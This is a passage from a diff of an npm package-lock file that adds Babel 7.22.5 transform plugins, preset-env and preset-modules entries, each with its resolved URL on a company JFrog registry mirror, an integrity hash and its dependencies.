"https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-dynamic-import/-/plugin-transform-dynamic-import-7.22.5.tgz", + "integrity": "sha512-0MC3ppTB1AMxd8fXjSrbPa7LT9hrImt+/fcj+Pg5YMD7UQyWp/02+JWpdnCymmsXwIx5Z+sYn1bwCn4ZJNvhqQ==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-dynamic-import": "^7.8.3" + } + }, + "@babel/plugin-transform-exponentiation-operator": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.22.5.tgz", + "integrity": "sha512-vIpJFNM/FjZ4rh1myqIya9jXwrwwgFRHPjT3DkUA9ZLHuzox8jiXkOLvwm1H+PQIP3CqfC++WPKeuDi0Sjdj1g==", + "requires": { + "@babel/helper-builder-binary-assignment-operator-visitor": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-export-namespace-from": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-export-namespace-from/-/plugin-transform-export-namespace-from-7.22.5.tgz", + "integrity": "sha512-X4hhm7FRnPgd4nDA4b/5V280xCx6oL7Oob5+9qVS5C13Zq4bh1qq7LU0GgRU6b5dBWBvhGaXYVB4AcN6+ol6vg==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-export-namespace-from": "^7.8.3" + } + }, + "@babel/plugin-transform-flow-strip-types": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-flow-strip-types/-/plugin-transform-flow-strip-types-7.22.5.tgz", + "integrity": "sha512-tujNbZdxdG0/54g/oua8ISToaXTFBf8EnSb5PgQSciIXWOWKX3S4+JR7ZE9ol8FZwf9kxitzkGQ+QWeov/mCiA==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-flow": "^7.22.5" + } + }, + "@babel/plugin-transform-for-of": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.22.5.tgz", + "integrity": "sha512-3kxQjX1dU9uudwSshyLeEipvrLjBCVthCgeTp6CzE/9JYrlAIaeekVxRpCWsDDfYTfRZRoCeZatCQvwo+wvK8A==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-function-name": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.22.5.tgz", + "integrity": "sha512-UIzQNMS0p0HHiQm3oelztj+ECwFnj+ZRV4KnguvlsD2of1whUeM6o7wGNj6oLwcDoAXQ8gEqfgC24D+VdIcevg==", + "requires": { + "@babel/helper-compilation-targets": "^7.22.5", + "@babel/helper-function-name": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-json-strings": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-json-strings/-/plugin-transform-json-strings-7.22.5.tgz", + "integrity": "sha512-DuCRB7fu8MyTLbEQd1ew3R85nx/88yMoqo2uPSjevMj3yoN7CDM8jkgrY0wmVxfJZyJ/B9fE1iq7EQppWQmR5A==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-json-strings": "^7.8.3" + } + }, + "@babel/plugin-transform-literals": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-literals/-/plugin-transform-literals-7.22.5.tgz", + "integrity": "sha512-fTLj4D79M+mepcw3dgFBTIDYpbcB9Sm0bpm4ppXPaO+U+PKFFyV9MGRvS0gvGw62sd10kT5lRMKXAADb9pWy8g==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-logical-assignment-operators": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-logical-assignment-operators/-/plugin-transform-logical-assignment-operators-7.22.5.tgz", + "integrity": "sha512-MQQOUW1KL8X0cDWfbwYP+TbVbZm16QmQXJQ+vndPtH/BoO0lOKpVoEDMI7+PskYxH+IiE0tS8xZye0qr1lGzSA==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4" + } + }, + "@babel/plugin-transform-member-expression-literals": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.22.5.tgz", + "integrity": "sha512-RZEdkNtzzYCFl9SE9ATaUMTj2hqMb4StarOJLrZRbqqU4HSBE7UlBw9WBWQiDzrJZJdUWiMTVDI6Gv/8DPvfew==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-modules-amd": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.22.5.tgz", + "integrity": "sha512-R+PTfLTcYEmb1+kK7FNkhQ1gP4KgjpSO6HfH9+f8/yfp2Nt3ggBjiVpRwmwTlfqZLafYKJACy36yDXlEmI9HjQ==", + "requires": { + "@babel/helper-module-transforms": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-modules-commonjs": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.22.5.tgz", + "integrity": "sha512-B4pzOXj+ONRmuaQTg05b3y/4DuFz3WcCNAXPLb2Q0GT0TrGKGxNKV4jwsXts+StaM0LQczZbOpj8o1DLPDJIiA==", + "requires": { + "@babel/helper-module-transforms": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-simple-access": "^7.22.5" + } + }, + "@babel/plugin-transform-modules-systemjs": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.22.5.tgz", + "integrity": "sha512-emtEpoaTMsOs6Tzz+nbmcePl6AKVtS1yC4YNAeMun9U8YCsgadPNxnOPQ8GhHFB2qdx+LZu9LgoC0Lthuu05DQ==", + "requires": { + "@babel/helper-hoist-variables": "^7.22.5", + "@babel/helper-module-transforms": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-validator-identifier": "^7.22.5" + } + }, + "@babel/plugin-transform-modules-umd": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.22.5.tgz", + "integrity": "sha512-+S6kzefN/E1vkSsKx8kmQuqeQsvCKCd1fraCM7zXm4SFoggI099Tr4G8U81+5gtMdUeMQ4ipdQffbKLX0/7dBQ==", + "requires": { + "@babel/helper-module-transforms": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-named-capturing-groups-regex": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.22.5.tgz", + "integrity": "sha512-YgLLKmS3aUBhHaxp5hi1WJTgOUb/NCuDHzGT9z9WTt3YG+CPRhJs6nprbStx6DnWM4dh6gt7SU3sZodbZ08adQ==", + "requires": { + "@babel/helper-create-regexp-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-new-target": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.22.5.tgz", + "integrity": "sha512-AsF7K0Fx/cNKVyk3a+DW0JLo+Ua598/NxMRvxDnkpCIGFh43+h/v2xyhRUYf6oD8gE4QtL83C7zZVghMjHd+iw==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-nullish-coalescing-operator": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-nullish-coalescing-operator/-/plugin-transform-nullish-coalescing-operator-7.22.5.tgz", + "integrity": "sha512-6CF8g6z1dNYZ/VXok5uYkkBBICHZPiGEl7oDnAx2Mt1hlHVHOSIKWJaXHjQJA5VB43KZnXZDIexMchY4y2PGdA==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3" + } + }, + "@babel/plugin-transform-numeric-separator": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-numeric-separator/-/plugin-transform-numeric-separator-7.22.5.tgz", + "integrity": "sha512-NbslED1/6M+sXiwwtcAB/nieypGw02Ejf4KtDeMkCEpP6gWFMX1wI9WKYua+4oBneCCEmulOkRpwywypVZzs/g==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-numeric-separator": "^7.10.4" + } + }, + "@babel/plugin-transform-object-rest-spread": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-object-rest-spread/-/plugin-transform-object-rest-spread-7.22.5.tgz", + "integrity": "sha512-Kk3lyDmEslH9DnvCDA1s1kkd3YWQITiBOHngOtDL9Pt6BZjzqb6hiOlb8VfjiiQJ2unmegBqZu0rx5RxJb5vmQ==", + "requires": { + "@babel/compat-data": "^7.22.5", + "@babel/helper-compilation-targets": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-object-rest-spread": "^7.8.3", + "@babel/plugin-transform-parameters": "^7.22.5" + } + }, + "@babel/plugin-transform-object-super": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.22.5.tgz", + "integrity": "sha512-klXqyaT9trSjIUrcsYIfETAzmOEZL3cBYqOYLJxBHfMFFggmXOv+NYSX/Jbs9mzMVESw/WycLFPRx8ba/b2Ipw==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-replace-supers": "^7.22.5" + } + }, + "@babel/plugin-transform-optional-catch-binding": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-optional-catch-binding/-/plugin-transform-optional-catch-binding-7.22.5.tgz", + "integrity": "sha512-pH8orJahy+hzZje5b8e2QIlBWQvGpelS76C63Z+jhZKsmzfNaPQ+LaW6dcJ9bxTpo1mtXbgHwy765Ro3jftmUg==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.3" + } + }, + "@babel/plugin-transform-optional-chaining": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-optional-chaining/-/plugin-transform-optional-chaining-7.22.5.tgz", + "integrity": "sha512-AconbMKOMkyG+xCng2JogMCDcqW8wedQAqpVIL4cOSescZ7+iW8utC6YDZLMCSUIReEA733gzRSaOSXMAt/4WQ==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", + "@babel/plugin-syntax-optional-chaining": "^7.8.3" + } + }, + "@babel/plugin-transform-parameters": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.22.5.tgz", + "integrity": "sha512-AVkFUBurORBREOmHRKo06FjHYgjrabpdqRSwq6+C7R5iTCZOsM4QbcB27St0a4U6fffyAOqh3s/qEfybAhfivg==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-private-methods": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-private-methods/-/plugin-transform-private-methods-7.22.5.tgz", + "integrity": "sha512-PPjh4gyrQnGe97JTalgRGMuU4icsZFnWkzicB/fUtzlKUqvsWBKEpPPfr5a2JiyirZkHxnAqkQMO5Z5B2kK3fA==", + "requires": { + "@babel/helper-create-class-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-private-property-in-object": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-private-property-in-object/-/plugin-transform-private-property-in-object-7.22.5.tgz", + "integrity": "sha512-/9xnaTTJcVoBtSSmrVyhtSvO3kbqS2ODoh2juEU72c3aYonNF0OMGiaz2gjukyKM2wBBYJP38S4JiE0Wfb5VMQ==", + "requires": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-create-class-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-private-property-in-object": "^7.14.5" + } + }, + "@babel/plugin-transform-property-literals": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.22.5.tgz", + "integrity": "sha512-TiOArgddK3mK/x1Qwf5hay2pxI6wCZnvQqrFSqbtg1GLl2JcNMitVH/YnqjP+M31pLUeTfzY1HAXFDnUBV30rQ==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-react-constant-elements": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-react-constant-elements/-/plugin-transform-react-constant-elements-7.22.5.tgz", + "integrity": "sha512-BF5SXoO+nX3h5OhlN78XbbDrBOffv+AxPP2ENaJOVqjWCgBDeOY3WcaUcddutGSfoap+5NEQ/q/4I3WZIvgkXA==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-react-display-name": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.22.5.tgz", + "integrity": "sha512-PVk3WPYudRF5z4GKMEYUrLjPl38fJSKNaEOkFuoprioowGuWN6w2RKznuFNSlJx7pzzXXStPUnNSOEO0jL5EVw==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-react-jsx": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.22.5.tgz", + "integrity": "sha512-rog5gZaVbUip5iWDMTYbVM15XQq+RkUKhET/IHR6oizR+JEoN6CAfTTuHcK4vwUyzca30qqHqEpzBOnaRMWYMA==", + "requires": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-module-imports": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-jsx": "^7.22.5", + "@babel/types": "^7.22.5" + } + }, + "@babel/plugin-transform-react-jsx-development": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.22.5.tgz", + "integrity": "sha512-bDhuzwWMuInwCYeDeMzyi7TaBgRQei6DqxhbyniL7/VG4RSS7HtSL2QbY4eESy1KJqlWt8g3xeEBGPuo+XqC8A==", + "requires": { + "@babel/plugin-transform-react-jsx": "^7.22.5" + } + }, + "@babel/plugin-transform-react-pure-annotations": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-react-pure-annotations/-/plugin-transform-react-pure-annotations-7.22.5.tgz", + "integrity": "sha512-gP4k85wx09q+brArVinTXhWiyzLl9UpmGva0+mWyKxk6JZequ05x3eUcIUE+FyttPKJFRRVtAvQaJ6YF9h1ZpA==", + "requires": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-regenerator": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.22.5.tgz", + "integrity": "sha512-rR7KePOE7gfEtNTh9Qw+iO3Q/e4DEsoQ+hdvM6QUDH7JRJ5qxq5AA52ZzBWbI5i9lfNuvySgOGP8ZN7LAmaiPw==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5", + "regenerator-transform": "^0.15.1" + } + }, + "@babel/plugin-transform-reserved-words": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.22.5.tgz", + "integrity": "sha512-DTtGKFRQUDm8svigJzZHzb/2xatPc6TzNvAIJ5GqOKDsGFYgAskjRulbR/vGsPKq3OPqtexnz327qYpP57RFyA==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-runtime": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.22.5.tgz", + "integrity": "sha512-bg4Wxd1FWeFx3daHFTWk1pkSWK/AyQuiyAoeZAOkAOUBjnZPH6KT7eMxouV47tQ6hl6ax2zyAWBdWZXbrvXlaw==", + "requires": { + "@babel/helper-module-imports": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "babel-plugin-polyfill-corejs2": "^0.4.3", + "babel-plugin-polyfill-corejs3": "^0.8.1", + "babel-plugin-polyfill-regenerator": "^0.5.0", + "semver": "^6.3.0" + }, + "dependencies": { + "semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==" + } + } + }, + "@babel/plugin-transform-shorthand-properties": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.22.5.tgz", + "integrity": "sha512-vM4fq9IXHscXVKzDv5itkO1X52SmdFBFcMIBZ2FRn2nqVYqw6dBexUgMvAjHW+KXpPPViD/Yo3GrDEBaRC0QYA==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-spread": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-spread/-/plugin-transform-spread-7.22.5.tgz", + "integrity": "sha512-5ZzDQIGyvN4w8+dMmpohL6MBo+l2G7tfC/O2Dg7/hjpgeWvUx8FzfeOKxGog9IimPa4YekaQ9PlDqTLOljkcxg==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5" + } + }, + "@babel/plugin-transform-sticky-regex": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.22.5.tgz", + "integrity": "sha512-zf7LuNpHG0iEeiyCNwX4j3gDg1jgt1k3ZdXBKbZSoA3BbGQGvMiSvfbZRR3Dr3aeJe3ooWFZxOOG3IRStYp2Bw==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-template-literals": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.22.5.tgz", + "integrity": "sha512-5ciOehRNf+EyUeewo8NkbQiUs4d6ZxiHo6BcBcnFlgiJfu16q0bQUw9Jvo0b0gBKFG1SMhDSjeKXSYuJLeFSMA==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-typeof-symbol": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.22.5.tgz", + "integrity": "sha512-bYkI5lMzL4kPii4HHEEChkD0rkc+nvnlR6+o/qdqR6zrm0Sv/nodmyLhlq2DO0YKLUNd2VePmPRjJXSBh9OIdA==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-typescript": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-typescript/-/plugin-transform-typescript-7.22.5.tgz", + "integrity": "sha512-SMubA9S7Cb5sGSFFUlqxyClTA9zWJ8qGQrppNUm05LtFuN1ELRFNndkix4zUJrC9F+YivWwa1dHMSyo0e0N9dA==", + "requires": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-create-class-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-typescript": "^7.22.5" + } + }, + "@babel/plugin-transform-unicode-escapes": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.22.5.tgz", + "integrity": "sha512-biEmVg1IYB/raUO5wT1tgfacCef15Fbzhkx493D3urBI++6hpJ+RFG4SrWMn0NEZLfvilqKf3QDrRVZHo08FYg==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-unicode-property-regex": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-unicode-property-regex/-/plugin-transform-unicode-property-regex-7.22.5.tgz", + "integrity": "sha512-HCCIb+CbJIAE6sXn5CjFQXMwkCClcOfPCzTlilJ8cUatfzwHlWQkbtV0zD338u9dZskwvuOYTuuaMaA8J5EI5A==", + "requires": { + "@babel/helper-create-regexp-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-unicode-regex": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.22.5.tgz", + "integrity": "sha512-028laaOKptN5vHJf9/Arr/HiJekMd41hOEZYvNsrsXqJ7YPYuX2bQxh31fkZzGmq3YqHRJzYFFAVYvKfMPKqyg==", + "requires": { + "@babel/helper-create-regexp-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-unicode-sets-regex": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-unicode-sets-regex/-/plugin-transform-unicode-sets-regex-7.22.5.tgz", + "integrity": "sha512-lhMfi4FC15j13eKrh3DnYHjpGj6UKQHtNKTbtc1igvAhRy4+kLhV07OpLcsN0VgDEw/MjAvJO4BdMJsHwMhzCg==", + "requires": { + "@babel/helper-create-regexp-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/preset-env": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/preset-env/-/preset-env-7.22.5.tgz", + "integrity": "sha512-fj06hw89dpiZzGZtxn+QybifF07nNiZjZ7sazs2aVDcysAZVGjW7+7iFYxg6GLNM47R/thYfLdrXc+2f11Vi9A==", + "requires": { + "@babel/compat-data": "^7.22.5", + "@babel/helper-compilation-targets": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-validator-option": "^7.22.5", + "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.22.5", + "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.22.5", + "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", + "@babel/plugin-syntax-async-generators": "^7.8.4", + "@babel/plugin-syntax-class-properties": "^7.12.13", + "@babel/plugin-syntax-class-static-block": "^7.14.5", + "@babel/plugin-syntax-dynamic-import": "^7.8.3", + "@babel/plugin-syntax-export-namespace-from": "^7.8.3", + "@babel/plugin-syntax-import-assertions": "^7.22.5", + "@babel/plugin-syntax-import-attributes": "^7.22.5", + "@babel/plugin-syntax-import-meta": "^7.10.4", + "@babel/plugin-syntax-json-strings": "^7.8.3", + "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3", + "@babel/plugin-syntax-numeric-separator": "^7.10.4", + "@babel/plugin-syntax-object-rest-spread": "^7.8.3", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.3", + "@babel/plugin-syntax-optional-chaining": "^7.8.3", + "@babel/plugin-syntax-private-property-in-object": "^7.14.5", + "@babel/plugin-syntax-top-level-await": "^7.14.5", + "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", + "@babel/plugin-transform-arrow-functions": "^7.22.5", + "@babel/plugin-transform-async-generator-functions": "^7.22.5", + "@babel/plugin-transform-async-to-generator": "^7.22.5", + "@babel/plugin-transform-block-scoped-functions": "^7.22.5", + "@babel/plugin-transform-block-scoping": "^7.22.5", + "@babel/plugin-transform-class-properties": "^7.22.5", + "@babel/plugin-transform-class-static-block": "^7.22.5", + "@babel/plugin-transform-classes": "^7.22.5", + "@babel/plugin-transform-computed-properties": "^7.22.5", + "@babel/plugin-transform-destructuring": "^7.22.5", + "@babel/plugin-transform-dotall-regex": "^7.22.5", + "@babel/plugin-transform-duplicate-keys": "^7.22.5", + "@babel/plugin-transform-dynamic-import": "^7.22.5", + "@babel/plugin-transform-exponentiation-operator": "^7.22.5", + "@babel/plugin-transform-export-namespace-from": "^7.22.5", + "@babel/plugin-transform-for-of": "^7.22.5", + "@babel/plugin-transform-function-name": "^7.22.5", + "@babel/plugin-transform-json-strings": "^7.22.5", + "@babel/plugin-transform-literals": "^7.22.5", + "@babel/plugin-transform-logical-assignment-operators": "^7.22.5", + "@babel/plugin-transform-member-expression-literals": "^7.22.5", + "@babel/plugin-transform-modules-amd": "^7.22.5", + "@babel/plugin-transform-modules-commonjs": "^7.22.5", + "@babel/plugin-transform-modules-systemjs": "^7.22.5", + "@babel/plugin-transform-modules-umd": "^7.22.5", + "@babel/plugin-transform-named-capturing-groups-regex": "^7.22.5", + "@babel/plugin-transform-new-target": "^7.22.5", + "@babel/plugin-transform-nullish-coalescing-operator": "^7.22.5", + "@babel/plugin-transform-numeric-separator": "^7.22.5", + "@babel/plugin-transform-object-rest-spread": "^7.22.5", + "@babel/plugin-transform-object-super": "^7.22.5", + "@babel/plugin-transform-optional-catch-binding": "^7.22.5", + "@babel/plugin-transform-optional-chaining": "^7.22.5", + "@babel/plugin-transform-parameters": "^7.22.5", + "@babel/plugin-transform-private-methods": "^7.22.5", + "@babel/plugin-transform-private-property-in-object": "^7.22.5", + "@babel/plugin-transform-property-literals": "^7.22.5", + "@babel/plugin-transform-regenerator": "^7.22.5", + "@babel/plugin-transform-reserved-words": "^7.22.5", + "@babel/plugin-transform-shorthand-properties": "^7.22.5", + "@babel/plugin-transform-spread": "^7.22.5", + "@babel/plugin-transform-sticky-regex": "^7.22.5", + "@babel/plugin-transform-template-literals": "^7.22.5", + "@babel/plugin-transform-typeof-symbol": "^7.22.5", + "@babel/plugin-transform-unicode-escapes": "^7.22.5", + "@babel/plugin-transform-unicode-property-regex": "^7.22.5", + "@babel/plugin-transform-unicode-regex": "^7.22.5", + "@babel/plugin-transform-unicode-sets-regex": "^7.22.5", + "@babel/preset-modules": "^0.1.5", + "@babel/types": "^7.22.5", + "babel-plugin-polyfill-corejs2": "^0.4.3", + "babel-plugin-polyfill-corejs3": "^0.8.1", + "babel-plugin-polyfill-regenerator": "^0.5.0", + "core-js-compat": "^3.30.2", + "semver": "^6.3.0" + }, + "dependencies": { + "semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==" + } + } + }, + "@babel/preset-modules": { + "version": "0.1.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/preset-modules/-/preset-modules-0.1.5.tgz", + "integrity": "sha512-A57th6YRG7oR3cq/yt/Y84MvGgE0eJG2F1JLhKuyG+jFxEgrd/HAMJatiFtmOiZurz+0DkrvbheCLaV5f2JfjA==", + "requires": { + "@babel/helper-plugin-utils": "^7.0.0", + "@babel/plugin-proposal-unicode-property-regex": "^7.4.4", + "@babel/plugin-transform-dotall-regex": "^7.4.4", + "@babel/types": "^7.4.4", + "esutils": "^2.0.2" + } + }, + "@babel/preset-react": { + "version": "7.22.5", + 